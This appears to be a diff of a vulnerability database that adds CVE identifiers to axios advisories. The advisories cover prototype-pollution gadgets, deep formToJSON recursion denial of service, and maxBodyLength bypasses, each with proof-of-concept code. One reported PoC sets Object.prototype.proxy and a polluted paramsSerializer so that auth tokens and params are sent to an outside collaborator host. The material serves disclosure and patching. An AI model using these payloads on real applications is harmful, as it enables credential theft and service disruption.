{\n serialize: options,\n }\n : options;\n const serializeFn = _options && _options.serialize;\n let serializedParams;\n if (serializeFn) {\n serializedParams = serializeFn(params, _options);\n } else {\n serializedParams = utils.isURLSearchParams(params)\n ? params.toString()\n : new AxiosURLSearchParams(params, _options).toString(_encode);\n }\n```\n\nBecause auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.\n\nThe auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst ATTACKER_USER = 'attacker';\nconst ATTACKER_PASS = 'exfil';\nconst ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');\n\n// Step 1: simulate a pre-existing prototype-pollution primitive in this process.\n// In reality, a separate dependency would have done this. We keep the\n// \"polluted\" properties non-enumerable so they only affect inherited reads,\n// which is the realistic shape of most prototype-pollution gadgets.\nObject.defineProperty(Object.prototype, 'username', {\n value: ATTACKER_USER,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, 'password', {\n value: ATTACKER_PASS,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, 'serialize', {\n value: () => 'polluted=1',\n configurable: true,\n});\n\n// Local capture server.\nconst server = http.createServer((req, res) => {\n const captured = {\n authorization: req.headers['authorization'] || null,\n url: req.url,\n };\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify(captured));\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\ntry {\n // Application code: passes nested *placeholder* option objects that have\n // no own auth/serializer properties. Without prototype pollution this is\n // a no-op. With prototype pollution it becomes attacker-controlled state.\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: 'ignored-by-polluted-serializer' },\n });\n\n console.log('--- PoC: nested-option prototype-pollution gadgets ---');\n console.log('Server saw:', JSON.stringify(response.data));\n\n const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;\n const urlRewritten = response.data.url === '/demo?polluted=1';\n\n if (authLeaked && urlRewritten) {\n console.log(\n 'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +\n 'Object.prototype values into the outbound request.'\n );\n process.exitCode = 0;\n } else {\n console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');\n console.log(' authLeaked =', authLeaked);\n console.log(' urlRewritten =', urlRewritten);\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // Restore Object.prototype so a noisy exit/process state cannot affect\n // anything else accidentally sharing the runtime.\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\n### Impact\nConcrete consequences:\n- Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.\n- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.\n
", "info": [ @@ -9390,7 +9417,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "details": "## Summary\n\naxios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.\n\nAdditional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.\n\n## Impact\n\nAn attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.\n\nFor direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.\n\nFor direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.\n\n## Affected Functionality\n\nAffected normal API:\n\n- `axios.get(url[, config])`\n- `axios.delete(url[, config])`\n- `axios.head(url[, config])`\n- `axios.options(url[, config])`\n\nAffected low-level usage:\n\n- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.\n- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.\n\nUnaffected or corrected scope:\n\n- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.\n\n## Technical Details\n\n`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.\n\n`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.\n\nThe low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) => {\n let body = '';\n\n req.on('data', chunk => {\n body += chunk;\n });\n\n req.on('end', () => {\n res.writeHead(200, {'content-type': 'application/json'});\n res.end(JSON.stringify({body, headers: req.headers}));\n });\n});\n\nawait new Promise(resolve => server.listen(0, '127.0.0.1', resolve));\n\nObject.prototype.data = 'INJECTED';\n\ntry {\n const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);\n\n console.log(res.data.body); // \"INJECTED\"\n console.log(res.data.headers['content-length']); // \"8\"\n} finally {\n delete Object.prototype.data;\n await new Promise(resolve => server.close(resolve));\n}\n```\n\nExpected result: a request body is sent even though the caller did not explicitly set `config.data`.\n\n## Workarounds\n\nAvoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.\n\n
\nOriginal Report\n\n### Summary\n\nThree prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.\n\n### Details\n\nThe [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:\n\n`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.\n\n`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.\n\n`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.\n\nI read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.\n\n### PoC\n\nRan against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.\n\n```javascript\nimport axios from 'axios';\n\n// gadget 1 - proxy\nObject.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };\nawait axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });\n// check collaborator - request arrives with full path + auth header\n```\n\n```javascript\n// gadget 2 - data on bodyless methods\nObject.prototype.data = '{\"injected\":true}';\nawait axios.get('https://api.example.com/items');\nawait axios.delete('https://api.example.com/items/1');\nawait axios.head('https://api.example.com/items');\n// 3/4 methods send the polluted body\n```\n\n```javascript\n// gadget 3 - paramsSerializer\nObject.prototype.paramsSerializer = (p) => {\n fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));\n return 'q=x';\n};\nawait axios.get('https://api.example.com/search', { params: { token: 'secret' } });\n```\n\n### Impact\n\nAny app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.\n
", "info": [ @@ -9413,7 +9443,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "details": "## Summary\n\nAxios versions starting with `0.28.0` contain uncontrolled recursion in `formDataToJSON`, which is exposed as `axios.formToJSON()` and used internally when axios serialises `FormData` with `Content-Type: application/json`.\n\nIf an application passes attacker-controlled `FormData` field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination.\n\n## Impact\n\nApplications are affected only when untrusted users can control `FormData` key names that are converted through axios.\n\nAffected paths include direct use of `axios.formToJSON()` on untrusted `FormData` and axios requests in which attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\nThe observed failure is `RangeError: Maximum call stack size exceeded`. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour.\n\n## Affected Functionality\n\nAffected functionality:\n- `axios.formToJSON(formData)`\n- Named ESM export `formToJSON`\n- Default `transformRequest` behaviour for `FormData` when `Content-Type` contains `application/json`\n\nUnaffected functionality:\n- Normal multipart `FormData` submission without JSON serialisation\n- `toFormData`, which already enforces a `maxDepth` guard\n- Axios versions `<=0.27.2`, where `formDataToJSON` was not present\n\n## Technical Details\n\nThe vulnerable code is in `lib/helpers/formDataToJSON.js`.\n\n`parsePropPath()` splits a field name such as `a[x][x][x]` into path segments. `buildPath()` then recursively processes one segment per call without enforcing a maximum depth:\n\n```js\nconst result = buildPath(path, value, target[name], index);\n```\n\nA key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit.\n\nRelevant source locations:\n- `lib/helpers/formDataToJSON.js` contains the unbounded recursive `buildPath()`.\n- `lib/axios.js` exposes the helper as `axios.formToJSON`.\n- `index.js` exposes `formToJSON` as a named export.\n- `index.d.ts` and `index.d.cts` declare the public API.\n- `lib/defaults/index.js` calls `formDataToJSON(data)` when JSON-serializing `FormData`.\n\nThe inverse helper, `toFormData`, already enforces `maxDepth` and throws `AxiosError` with `ERR_FORM_DATA_DEPTH_EXCEEDED`, but `formDataToJSON` does not have an equivalent guard.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from 'axios';\n\nconst fd = new FormData();\nfd.append('a' + '[x]'.repeat(15000), 'value');\n\ntry {\n axios.formToJSON(fd);\n console.log('not vulnerable');\n} catch (e) {\n console.log(`${e.constructor.name}: ${e.message}`);\n}\n```\n\nExpected result on affected versions:\n\nRangeError: Maximum call stack size exceeded\n\nThe same condition can be reached via an axios request transformation when attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\n## Workarounds\nApplications can reject or normalise untrusted form field names before calling `axios.formToJSON()`.\n\nApplications can avoid sending untrusted `FormData` through axios as JSON unless JSON conversion is required.\n\nApplications should catch errors around `formToJSON()` or axios requests that transform untrusted `FormData`.\n\n
\nOriginal Source\n\n### Summary\nAn uncontrolled recursion vulnerability in `formDataToJSON` allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like `a[x][x][x]...` with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable `RangeError`. The inverse function `toFormData` already enforces a `maxDepth` limit (default 100) for exactly this reason — `formDataToJSON` lacks the equivalent guard.\n\n### Details\n**Vulnerable function:** `buildPath` in `lib/helpers/formDataToJSON.js`, lines 50–82.\n\n`buildPath(path, value, target, index)` is called recursively — once per segment in the parsed property path — with no depth check:\n\n```javascript\n// lib/helpers/formDataToJSON.js, lines 50–82\nfunction buildPath(path, value, target, index) {\n let name = path[index++]; // advance one level\n if (name === '__proto__') return true;\n // ...\n if (!isLast) {\n // ...\n const result = buildPath(path, value, target[name], index); // recurse — NO depth guard\n // ...\n }\n}\n```\n\nThe key is first split into segments by `parsePropPath` (line 17), which extracts every `[segment]` via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames).\n\n**`formDataToJSON` is a public API** consumed two ways:\n\n1. **Directly by consumers** — exported as `axios.formToJSON()` (`lib/axios.js:80`), with TypeScript declarations in both `index.d.ts:699` and `index.d.cts:708`, and documented in the API reference in four languages (`docs/pages/advanced/api-reference.md`).\n\n2. **Internally by `transformRequest`** — called at `lib/defaults/index.js:56` when the request body is `FormData` and `Content-Type` contains `application/json`:\n ```javascript\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n ```\n\n**Contrast with `toFormData`:** The inverse function (`lib/helpers/toFormData.js:118`) enforces `maxDepth` (default 100) and throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED` when exceeded. `formDataToJSON` has no equivalent protection.\n\n### PoC\nRequires only Node.js and an unmodified axios v1.x install:\n\n```javascript\nimport formDataToJSON from 'axios/lib/helpers/formDataToJSON.js';\n\n// Build a FormData with a single key containing 15,000 nested bracket segments\nconst fd = new FormData();\nconst key = \"a\" + \"[x]\".repeat(15000);\nfd.append(key, \"value\");\n\ntry {\n formDataToJSON(fd);\n console.log(\"Not vulnerable\");\n} catch (e) {\n console.log(e.constructor.name + \": \" + e.message);\n // RangeError: Maximum call stack size exceeded\n}\n```\n\nVerified output on Node.js 22.22.3 against axios v1.16.1 (current `v1.x` HEAD):\n\n```\nRangeError: Maximum call stack size exceeded\n```\n\nThe process crashes. In a server context (e.g., Express middleware calling `axios.formToJSON()` on an uploaded form), a single crafted request terminates the process.\n\n### Impact\n**Denial of Service (process crash).** Any unauthenticated user who can submit FormData to a Node.js application that passes it through `axios.formToJSON()` — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The `RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name.\n
", "info": [ @@ -9435,7 +9468,10 @@ ], "identifiers": { "summary": "Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`", - "githubID": "GHSA-jqh4-m9w3-8hp9" + "githubID": "GHSA-jqh4-m9w3-8hp9", + "CVE": [ + "CVE-2026-67317" + ] }, "details": "## Summary\n\naxios’ fetch adapter does not enforce `maxBodyLength` for live WHATWG `ReadableStream` request bodies whose size cannot be determined before dispatch. Applications that use `adapter: \"fetch\"` and rely on `maxBodyLength` to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.\n\nThis affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.\n\n## Impact\n\nAn attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.\n\nThis does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on `maxBodyLength` as the size guard.\n\n## Affected Functionality\n\nAffected:\n- `adapter: \"fetch\"` or environments where axios selects the fetch adapter.\n- Request methods with bodies, such as `POST`, `PUT`, and `PATCH`.\n- `data` as a WHATWG `ReadableStream` without a reliable `Content-Length`.\n- Configurations that set `maxBodyLength` to a finite value.\n\nNot affected:\n- Axios versions before the fetch adapter was introduced.\n- The Node HTTP adapter stream enforcement path.\n- Known-length fetch-adapter bodies in `1.16.0+`, such as strings, `Blob`, `ArrayBuffer`, `ArrayBufferView`, URLSearchParams, spec-compliant FormData, or requests with a finite `Content-Length`.\n\n## Technical Details\n\nIn `lib/adapters/fetch.js`, `getBodyLength()` handles null bodies, `Blob`, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for `ReadableStream`, so `resolveBodyLength(headers, data)` returns `undefined` when no finite `Content-Length` header is present.\n\nThe `maxBodyLength` check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to `fetch()`.\n\nWhen `onUploadProgress` is enabled, axios wraps the request body with `trackStream()`, but that wrapper only reports progress. It does not receive `maxBodyLength` and does not abort once loaded bytes exceed the cap.\n\nThe expected behavior exists in the HTTP adapter: `lib/adapters/http.js` enforces `maxBodyLength` for streamed uploads by counting chunks and rejecting with `ERR_BAD_REQUEST`.\n\n## Proof of Concept of Attack\n\nRun from the axios repo root on Node 18+ against an affected version:\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) => {\n let received = 0;\n req.on('data', (chunk) => {\n received += chunk.length;\n });\n req.on('end', () => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({ received, limit: LIMIT }));\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst { port } = server.address();\n\nfunction makeReadableStream(totalBytes) {\n const chunk = new Uint8Array(64 * 1024).fill(0x42);\n let remaining = totalBytes;\n\n return new ReadableStream({\n pull(controller) {\n if (remaining <= 0) {\n controller.close();\n return;\n }\n\n const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);\n remaining -= next.length;\n controller.enqueue(next);\n },\n });\n}\n\ntry {\n const response = await axios.post(\n `http://127.0.0.1:${port}/upload`,\n makeReadableStream(PAYLOAD_BYTES),\n {\n adapter: 'fetch',\n maxBodyLength: LIMIT,\n headers: { 'content-type': 'application/octet-stream' },\n }\n );\n\n console.log(response.data);\n} finally {\n server.close();\n}\n```\n\nExpected vulnerable result: the server reports `received: 2097152` even though `maxBodyLength` is `1024`.\n\n## Workarounds\n\nUse the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter `maxBodyLength` for unknown-length `ReadableStream` bodies until a fixed axios version is available.\n\n
\nOriginal Report\n\n### Summary\naxios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium.\n\n### Details\nIn lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:\n\nfetch.js Lines 121-155\n```\n const getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n if (utils.isBlob(body)) {\n return body.size;\n }\n if (utils.isSpecCompliantForm(body)) {\n const _request = new Request(platform.origin, {\n method: 'POST',\n body,\n });\n return (await _request.arrayBuffer()).byteLength;\n }\n if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {\n return body.byteLength;\n }\n if (utils.isURLSearchParams(body)) {\n body = body + '';\n }\n if (utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n };\n const resolveBodyLength = async (headers, body) => {\n const length = utils.toFiniteNumber(headers.getContentLength());\n return length == null ? getBodyLength(body) : length;\n };\n```\n\nFor a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:\n\nfetch.js Lines 214-232\n```\n // Enforce maxBodyLength against the outbound request body before dispatch.\n // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than\n // maxBodyLength limit'). Skip when the body length cannot be determined\n // (e.g. a live ReadableStream supplied by the caller).\n if (hasMaxBodyLength && method !== 'get' && method !== 'head') {\n const outboundLength = await resolveBodyLength(headers, data);\n if (\n typeof outboundLength === 'number' &&\n isFinite(outboundLength) &&\n outboundLength > maxBodyLength\n ) {\n throw new AxiosError(\n 'Request body larger than maxBodyLength limit',\n AxiosError.ERR_BAD_REQUEST,\n config,\n request\n );\n }\n }\n```\n\nThe in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:\n\nfetch.js Lines 253-261\n```\n if (_request.body) {\n const [onProgress, flush] = progressEventDecorator(\n requestContentLength,\n progressEventReducer(asyncDecorator(onUploadProgress))\n );\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);\n }\n```\nThe body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) => {\n let received = 0;\n req.on('data', (chunk) => {\n received += chunk.length;\n });\n req.on('end', () => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({ received, limit: LIMIT }));\n });\n req.on('error', () => {\n /* swallow client-side aborts */\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\nfunction makeReadableStream(totalBytes) {\n const CHUNK = new Uint8Array(64 * 1024).fill(0x42);\n let remaining = totalBytes;\n return new ReadableStream({\n pull(controller) {\n if (remaining <= 0) {\n controller.close();\n return;\n }\n const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n remaining -= next.length;\n controller.enqueue(next);\n },\n });\n}\n\ntry {\n let result;\n try {\n const response = await axios.post(\n `http://127.0.0.1:${port}/upload`,\n makeReadableStream(PAYLOAD_BYTES),\n {\n adapter: 'fetch',\n maxBodyLength: LIMIT,\n headers: { 'content-type': 'application/octet-stream' },\n // No content-length: the stream's total length is unknown ahead of\n // dispatch, which is exactly the vulnerable code path.\n }\n );\n result = { status: response.status, data: response.data };\n } catch (err) {\n result = { error: err && (err.code || err.message) };\n }\n\n console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');\n console.log('axios result:', JSON.stringify(result));\n\n const ok =\n result &&\n result.status === 200 &&\n result.data &&\n typeof result.data === 'object' &&\n result.data.received === PAYLOAD_BYTES &&\n result.data.limit === LIMIT;\n\n if (ok) {\n console.log(\n `VULNERABLE: server received ${result.data.received} bytes despite ` +\n `maxBodyLength=${LIMIT}.`\n );\n process.exitCode = 0;\n } else {\n console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');\n process.exitCode = 1;\n }\n} finally {\n server.close();\n}\n```\n\n### Impact\n- Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).\n- Bypass of cost / quota guards on upstream APIs.\n- Resource exhaustion against the runtime's network stack and against upstream peers.\n
", "info": [ @@ -9454,7 +9490,10 @@ ], "identifiers": { "summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`", - "githubID": "GHSA-mwf2-3pr3-8698" + "githubID": "GHSA-mwf2-3pr3-8698", + "CVE": [ + "CVE-2026-67318" + ] }, "details": "## Summary\n\nAxios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`.\n\nThis affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.\n\n## Impact\n\nAn attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit.\n\nPractical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.\n\nBrowser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary.\n\n## Affected Functionality\n\nAffected calls require all of the following:\n\n- Node.js HTTP adapter.\n- `httpVersion: 2`.\n- Request `data` supplied as a stream.\n- A finite `maxBodyLength`.\n- Attacker-controlled or attacker-influenced stream contents.\n\nUnaffected or differently affected paths:\n\n- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.\n- Browser XHR/fetch adapters are not affected.\n- HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`.\n- In `axios >=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.\n\n## Technical Details\n\nIn `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node’s HTTP/2 request API does not enforce that option.\n\nThe stream-level byte-counting wrapper is currently gated on `config.maxBodyLength > -1 && config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream.\n\nLocal verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2.\n\nNo fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path.\n\n## Proof of Concept of Attack\n\n```js\nimport http2 from 'node:http2';\nimport {Readable} from 'node:stream';\nimport axios from './index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http2.createServer();\n\nserver.on('stream', (stream) => {\n let received = 0;\n\n stream.on('data', (chunk) => {\n received += chunk.length;\n });\n\n stream.on('end', () => {\n stream.respond({':status': 200, 'content-type': 'application/json'});\n stream.end(JSON.stringify({received, limit: LIMIT}));\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\n\nfunction makeBody(total) {\n const chunk = Buffer.alloc(64 * 1024, 0x41);\n let remaining = total;\n\n return new Readable({\n read() {\n if (remaining <= 0) {\n this.push(null);\n return;\n }\n\n const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);\n remaining -= next.length;\n this.push(next);\n }\n });\n}\n\ntry {\n const response = await axios.post(\n `http://127.0.0.1:${server.address().port}/upload`,\n makeBody(PAYLOAD_BYTES),\n {\n httpVersion: 2,\n maxBodyLength: LIMIT,\n headers: {'content-type': 'application/octet-stream'}\n }\n );\n\n console.log(response.data);\n // Vulnerable result: { received: 2097152, limit: 1024 }\n} finally {\n server.close();\n}\n```\n\n## Workarounds\n\nFor `axios >=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.\n\nFor earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary\nOn Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.\n\n
\nOriginal Report\n### Details\nIn lib/adapters/http.js, transport selection is unconditional for HTTP/2:\n\nhttp.js Lines 937-956\n```\n if (isHttp2) {\n transport = http2Transport;\n } else {\n const configTransport = own('transport');\n if (configTransport) {\n transport = configTransport;\n } else if (config.maxRedirects === 0) {\n transport = isHttpsRequest ? https : http;\n isNativeTransport = true;\n } else {\n if (config.maxRedirects) {\n options.maxRedirects = config.maxRedirects;\n }\n const configBeforeRedirect = own('beforeRedirect');\n if (configBeforeRedirect) {\n options.beforeRedirects.config = configBeforeRedirect;\n }\n transport = isHttpsRequest ? httpsFollow : httpFollow;\n }\n }\n```\n\nmaxBodyLength is then stored on the request options:\n\nhttp.js Lines 958-963\n```\n if (config.maxBodyLength > -1) {\n options.maxBodyLength = config.maxBodyLength;\n } else {\n // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited\n options.maxBodyLength = Infinity;\n }\n```\n…but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:\n\nhttp.js Lines 1270-1304\n```\n // Enforce maxBodyLength for streamed uploads on the native http/https\n // transport (maxRedirects === 0); follow-redirects enforces it on the\n // other path.\n let uploadStream = data;\n if (config.maxBodyLength > -1 && config.maxRedirects === 0) {\n const limit = config.maxBodyLength;\n let bytesSent = 0;\n uploadStream = stream.pipeline(\n [\n data,\n new stream.Transform({\n transform(chunk, _enc, cb) {\n bytesSent += chunk.length;\n if (bytesSent > limit) {\n return cb(\n new AxiosError(\n 'Request body larger than maxBodyLength limit',\n AxiosError.ERR_BAD_REQUEST,\n config,\n req\n )\n );\n }\n cb(null, chunk);\n },\n }),\n ],\n utils.noop\n );\n uploadStream.on('error', (err) => {\n if 